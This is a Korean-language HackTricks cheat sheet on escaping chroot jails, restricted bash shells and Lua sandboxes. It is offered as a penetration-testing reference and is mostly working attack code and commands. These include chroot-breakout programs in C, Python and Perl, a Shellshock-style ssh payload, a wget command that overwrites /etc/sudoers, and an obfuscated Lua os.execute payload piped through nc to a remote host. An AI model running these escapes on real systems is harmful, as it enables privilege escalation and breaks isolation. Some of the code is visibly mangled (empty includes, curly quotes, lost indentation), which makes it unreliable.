Jails์—์„œ ํƒˆ์ถœํ•˜๊ธฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

GTFOBins

โ€œShellโ€ ์†์„ฑ์ด ์žˆ๋Š” ์ด์ง„ ํŒŒ์ผ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ https://gtfobins.github.io/ ์—์„œ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.

Chroot ํƒˆ์ถœ

wikipedia์—์„œ: chroot ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ํŠน๊ถŒ ์žˆ๋Š” (root) ์‚ฌ์šฉ์ž์— ์˜ํ•œ ์˜๋„์ ์ธ ๋ณ€์กฐ๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹™๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ์‹œ์Šคํ…œ์—์„œ chroot ์ปจํ…์ŠคํŠธ๋Š” ์ œ๋Œ€๋กœ ์Œ“์ด์ง€ ์•Š์œผ๋ฉฐ, ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง„ chrooted ํ”„๋กœ๊ทธ๋žจ์€ ํƒˆ์ถœํ•˜๊ธฐ ์œ„ํ•ด ๋‘ ๋ฒˆ์งธ chroot๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋ณดํ†ต ์ด๋Š” ํƒˆ์ถœํ•˜๊ธฐ ์œ„ํ•ด chroot ๋‚ด๋ถ€์—์„œ root๊ฐ€ ๋˜์–ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Tip

๋„๊ตฌ chw00t๋Š” ๋‹ค์Œ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์•…์šฉํ•˜๊ณ  chroot์—์„œ ํƒˆ์ถœํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค.

Root + CWD

Warning

chroot ๋‚ด๋ถ€์—์„œ root์ธ ๊ฒฝ์šฐ ๋‹ค๋ฅธ chroot๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” 2๊ฐœ์˜ chroot๊ฐ€ (Linux์—์„œ) ๊ณต์กดํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์—, ํด๋”๋ฅผ ์ƒ์„ฑํ•œ ํ›„ ๊ทธ ์ƒˆ๋กœ์šด ํด๋”์—์„œ ์ƒˆ๋กœ์šด chroot๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ๋‹น์‹ ์ด ๊ทธ ์™ธ๋ถ€์— ์žˆ๊ฒŒ ๋˜์–ด, ์ด์ œ ์ƒˆ๋กœ์šด chroot ์™ธ๋ถ€์— ์žˆ๊ฒŒ ๋˜๊ณ  ๋”ฐ๋ผ์„œ FS์— ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด๋Š” ๋ณดํ†ต chroot๊ฐ€ ์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ง€์ •๋œ ์œ„์น˜๋กœ ์ด๋™ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋ฏ€๋กœ, chroot๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๊ทธ ์™ธ๋ถ€์— ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋ณดํ†ต chroot ๊ฐ์˜ฅ ์•ˆ์—์„œ๋Š” chroot ์ด์ง„ ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์—†์ง€๋งŒ, ์ด์ง„ ํŒŒ์ผ์„ ์ปดํŒŒ์ผ, ์—…๋กœ๋“œ ๋ฐ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

C: break_chroot.c ```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir(โ€œchroot-dirโ€, 0755); chroot(โ€œchroot-dirโ€); for(int i = 0; i < 1000; i++) { chdir(โ€œ..โ€); } chroot(โ€œ.โ€); system(โ€œ/bin/bashโ€); }

</details>

<details>

<summary>ํŒŒ์ด์ฌ</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```

Root + Saved fd

Warning

์ด๊ฒƒ์€ ์ด์ „ ์‚ฌ๋ก€์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ, ์ด ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์— ๋Œ€ํ•œ ํŒŒ์ผ ์„ค๋ช…์ž๋ฅผ ์ €์žฅํ•˜๊ณ  ์ƒˆ ํด๋”์— chroot๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ, ๊ทธ๋Š” chroot ์™ธ๋ถ€์—์„œ ๊ทธ FD์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ ‘๊ทผํ•˜๊ณ  ํƒˆ์ถœํ•ฉ๋‹ˆ๋‹ค.

C: break_chroot.c ```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir(โ€œtmpdirโ€, 0755); dir_fd = open(โ€œ.โ€, O_RDONLY); if(chroot(โ€œtmpdirโ€)){ perror(โ€œchrootโ€); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(โ€œ..โ€); chroot(โ€œ.โ€); }

</details>

### Root + Fork + UDS (Unix Domain Sockets)

> [!WARNING]
> FD๋Š” Unix Domain Sockets๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ:
>
> - ์ž์‹ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ (fork)
> - ๋ถ€๋ชจ์™€ ์ž์‹์ด ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋„๋ก UDS ์ƒ์„ฑ
> - ๋‹ค๋ฅธ ํด๋”์—์„œ ์ž์‹ ํ”„๋กœ์„ธ์Šค์—์„œ chroot ์‹คํ–‰
> - ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค์—์„œ ์ƒˆ๋กœ์šด ์ž์‹ ํ”„๋กœ์„ธ์Šค chroot ์™ธ๋ถ€์˜ ํด๋” FD ์ƒ์„ฑ
> - UDS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ๊ทธ FD ์ „๋‹ฌ
> - ์ž์‹ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ทธ FD๋กœ chdirํ•˜๊ณ , chroot ์™ธ๋ถ€์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ์˜ฅ์—์„œ ํƒˆ์ถœํ•˜๊ฒŒ ๋จ

### Root + Mount

> [!WARNING]
>
> - ๋ฃจํŠธ ์žฅ์น˜ (/)๋ฅผ chroot ๋‚ด๋ถ€์˜ ๋””๋ ‰ํ† ๋ฆฌ์— ๋งˆ์šดํŠธ
> - ๊ทธ ๋””๋ ‰ํ† ๋ฆฌ๋กœ chroot
>
> ์ด๋Š” Linux์—์„œ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค

### Root + /proc

> [!WARNING]
>
> - procfs๋ฅผ chroot ๋‚ด๋ถ€์˜ ๋””๋ ‰ํ† ๋ฆฌ์— ๋งˆ์šดํŠธ (์•„์ง ๋งˆ์šดํŠธ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด)
> - ๋‹ค๋ฅธ root/cwd ํ•ญ๋ชฉ์ด ์žˆ๋Š” pid๋ฅผ ์ฐพ๊ธฐ, ์˜ˆ: /proc/1/root
> - ๊ทธ ํ•ญ๋ชฉ์œผ๋กœ chroot

### Root(?) + Fork

> [!WARNING]
>
> - Fork (์ž์‹ ํ”„๋กœ์„ธ์Šค)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  FS์˜ ๋” ๊นŠ์€ ํด๋”๋กœ chroot ๋ฐ CD
> - ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค์—์„œ ์ž์‹ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์žˆ๋Š” ํด๋”๋ฅผ ์ž์‹์˜ chroot ์ด์ „ ํด๋”๋กœ ์ด๋™
> - ์ด ์ž์‹ ํ”„๋กœ์„ธ์Šค๋Š” chroot ์™ธ๋ถ€์— ์žˆ๊ฒŒ ๋จ

### ptrace

> [!WARNING]
>
> - ์˜ˆ์ „์—๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค์—์„œ ์ž์‹ ์„ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ... ์ด์ œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ถˆ๊ฐ€๋Šฅ
> - ์–ด์จŒ๋“  ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ํ”„๋กœ์„ธ์Šค์— ptrace๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ๊ทธ ์•ˆ์—์„œ shellcode๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ ([์ด ์˜ˆ์ œ ์ฐธ์กฐ](linux-capabilities.md#cap_sys_ptrace)).

## Bash Jails

### Enumeration

๊ฐ์˜ฅ์— ๋Œ€ํ•œ ์ •๋ณด ์–ป๊ธฐ:
```bash
echo $SHELL
echo $PATH
env
export
pwd

PATH ์ˆ˜์ •

PATH ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

vim ์‚ฌ์šฉํ•˜๊ธฐ

:set shell=/bin/sh
:shell

์Šคํฌ๋ฆฝํŠธ ์ƒ์„ฑ

check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

SSH๋ฅผ ํ†ตํ•œ bash ์–ป๊ธฐ

ssh๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ, bash ์…ธ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ด ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

์„ ์–ธ

declare -n PATH; export PATH=/bin;bash -i

BASH_CMDS[shell]=/bin/bash;shell -i

Wget

์˜ˆ๋ฅผ ๋“ค์–ด sudoers ํŒŒ์ผ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

๋‹ค๋ฅธ ํŠธ๋ฆญ

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
[https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)
๋‹ค์Œ ํŽ˜์ด์ง€๋„ ํฅ๋ฏธ๋กœ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Bypass Linux Restrictions

Python ๊ฐ์˜ฅ

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํŒŒ์ด์ฌ ๊ฐ์˜ฅ์—์„œ ํƒˆ์ถœํ•˜๋Š” ํŠธ๋ฆญ:

Bypass Python sandboxes

Lua ๊ฐ์˜ฅ

์ด ํŽ˜์ด์ง€์—์„œ๋Š” lua ๋‚ด๋ถ€์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ „์—ญ ํ•จ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://www.gammon.com.au/scripts/doc.php?general=lua_base

๋ช…๋ น ์‹คํ–‰๊ณผ ํ•จ๊ป˜ Eval:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜๋ฅผ ์  ์—†์ด ํ˜ธ์ถœํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ํŠธ๋ฆญ:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜ ๋‚˜์—ด:

for k,v in pairs(string) do print(k,v) end

๋‹ค๋ฅธ lua ํ™˜๊ฒฝ์—์„œ ์ด์ „์˜ ์› ๋ผ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ํ•จ์ˆ˜์˜ ์ˆœ์„œ๊ฐ€ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํŠน์ • ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์–‘ํ•œ lua ํ™˜๊ฒฝ์„ ๋กœ๋“œํ•˜๊ณ  le library์˜ ์ฒซ ๋ฒˆ์งธ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๋ฌด์ฐจ๋ณ„ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ lua ์…ธ ์–ป๊ธฐ: ์ œํ•œ๋œ lua ์…ธ ์•ˆ์— ์žˆ๋‹ค๋ฉด ๋‹ค์Œ์„ ํ˜ธ์ถœํ•˜์—ฌ ์ƒˆ๋กœ์šด lua ์…ธ(๊ทธ๋ฆฌ๊ณ  ํฌ๋ง์ ์œผ๋กœ ๋ฌด์ œํ•œ)์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

debug.debug()

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ